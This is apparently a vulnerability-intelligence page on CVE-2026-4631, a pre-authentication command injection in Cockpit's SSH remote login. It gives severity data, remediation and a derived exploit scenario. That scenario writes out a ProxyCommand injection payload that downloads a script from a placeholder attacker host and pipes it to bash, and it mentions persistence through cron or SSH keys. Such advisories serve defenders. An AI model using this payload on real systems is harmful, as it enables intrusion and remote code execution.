Skip to main content

Red Hat Enterprise Linux 10 CVE-2026-4631

| EUVDEUVD-2026-19814 CRITICAL
OS Command Injection (CWE-78)
2026-04-07 redhat
9.8
CVSS 3.1 · Vendor: redhat
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted HTTP request to login endpoint
  2. Exploit
    Inject malicious SSH options into hostname parameter
  3. Execution
    SSH client executes injected commands
  4. Impact
    Achieve code execution on Cockpit host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker with network access to Cockpit web service. Requires Cockpit remote login feature enabled (default configuration). No valid credentials or user interaction needed. Attacker crafts HTTP request to login endpoint with injected SSH options/commands in hostname or username fields.

Impact

This vulnerability represents critical real-world risk based on convergent threat signals. The CVSS 9.8 score accurately reflects severity: network attack vector (AV:N) enables internet-based exploitation, low complexity (AC:L) means reliable exploitation without race conditions or special configurations, and no privileges required (PR:N) combined with pre-authentication execution makes this a wormable attack surface. No public exploit code has been identified at time of analysis, and the vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog, suggesting exploitation has not yet been observed in the wild. However, command injection vulnerabilities in authentication flows have historically been rapidly weaponized once disclosed. The technical simplicity (single HTTP request, no credentials needed) combined with widespread RHEL deployment in enterprise environments creates significant attack surface. Organizations with internet-facing Cockpit instances face immediate critical risk. The SSVC framework would likely classify this as requiring urgent action: exploitation status currently none detected but highly automatable given the pre-auth vector, technical impact of total system compromise (C:H/I:H/A:H), and broad deployment footprint across mission-critical enterprise Linux systems.

Exploit ScenarioDerived

An attacker identifies an internet-facing Red Hat Enterprise Linux server running Cockpit on the default port 9090 through network scanning. Without any valid credentials, the attacker crafts an HTTP POST request to the Cockpit login endpoint, supplying a malicious hostname parameter containing SSH ProxyCommand injection such as '-oProxyCommand=curl http://attacker.com/payload.sh|bash' or embedding shell metacharacters in the username field to break out of the SSH command context. When Cockpit processes this login request, it passes the unsanitized input directly to the SSH client invocation, causing the injected commands to execute with the privileges of the Cockpit process (typically root or a highly privileged service account) before any authentication occurs. The attacker achieves immediate remote code execution, establishes persistence through cron jobs or SSH key injection, and pivots to other systems in the enterprise network using the compromised host's credentials and trust relationships.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 07, 2026

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the host system by injecting malicious SSH options through the login endpoint. Affecting Red Hat Enterprise Linux versions 7 through 10, this critical pre-authentication vulnerability (CVSS 9.8) requires no credentials and executes code before any authentication checks occur. EPSS data not available; no confirmed active exploitation (CISA KEV) at time of analysis, though the pre-authentication nature and command injection vector present severe risk for internet-exposed Cockpit instances.

RemediationAI

Organizations should immediately consult Red Hat's official security advisory at https://access.redhat.com/security/cve/CVE-2026-4631 for patched package versions and apply vendor-supplied updates through standard RHEL package management (yum/dnf update cockpit). No vendor-released patch version is independently confirmed from available data at time of analysis; refer to the Red Hat advisory for exact fixed versions per RHEL release. As an immediate risk mitigation while patching, restrict network access to Cockpit's web interface (TCP port 9090) using firewall rules to allow only trusted management networks or specific IP addresses, eliminating internet exposure. Organizations not actively using Cockpit's remote login feature should disable the cockpit service entirely (systemctl stop cockpit.socket && systemctl disable cockpit.socket) until patching is complete. For environments requiring continued Cockpit access during remediation windows, implement defense-in-depth controls such as VPN-only access or jump host architectures. Verify patch application by checking installed Cockpit package versions and reviewing Red Hat's Bugzilla entry at https://bugzilla.redhat.com/show_bug.cgi?id=2450246 for additional technical guidance.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Cockpit is Red Hat's web-based server administration interface that provides remote system management capabilities including SSH-based remote login functionality. The vulnerability stems from CWE-78 (OS Command Injection) in the remote login feature's authentication flow. When processing login requests, Cockpit accepts hostname and username parameters from the web interface and passes them directly to the underlying SSH client without input validation or sanitization. The affected CPE strings identify this issue across Red Hat Enterprise Linux 7, 8, 9, and 10 product lines. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this is a network-accessible vulnerability with low attack complexity requiring no privileges or user interaction. The injection point occurs during SSH client command construction, allowing attackers to break out of expected parameter contexts and inject arbitrary SSH options (such as ProxyCommand directives) or shell metacharacters that execute before the authentication handshake completes.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL
Red Hat 9.8 CRITICAL

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

Executive ViewAI

Why It Matters

CVE-2026-4631 is a critical pre-authentication remote code execution vulnerability in Red Hat Cockpit's web interface (CVSS 9.8) affecting RHEL 7-10 that allows unauthenticated attackers to execute arbitrary system commands through SSH option injection at the login endpoint. Organizations operating internet-exposed Cockpit instances face immediate risk of full system compromise without requiring valid credentials. Leadership should prioritize immediate containment of affected systems until Red Hat releases a security patch.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to Cockpit interface via firewall rules or network segmentation to trusted administrative networks only; (2) Disable Cockpit service on internet-exposed systems if operationally feasible; (3) Deploy network-based intrusion detection/prevention to monitor for SSH option injection payloads on port 9090; (4) Implement reverse proxy authentication layer in front of Cockpit requiring multi-factor authentication before access; (5) Monitor system logs for suspicious SSH-related command execution patterns originating from Cockpit processes.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Exploit
POC
Public exploit code exists
Data Quality
9 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment POC (1) Vendor Exploit-DB GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash

CVE-2026-4480 CRITICAL POC
9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft

CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript

CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity

CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe

CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo

CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a

CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes

CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

CVE-2026-6732 HIGH
7.5 Apr 23

Denial of service in libxml2 allows a remote attacker to crash any application that uses the library to XSD-validate an

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Liberty Linux 10 Fixed
SUSE Liberty Linux 9 Fixed
SUSE Linux Micro 6.2 Fixed
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Server 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy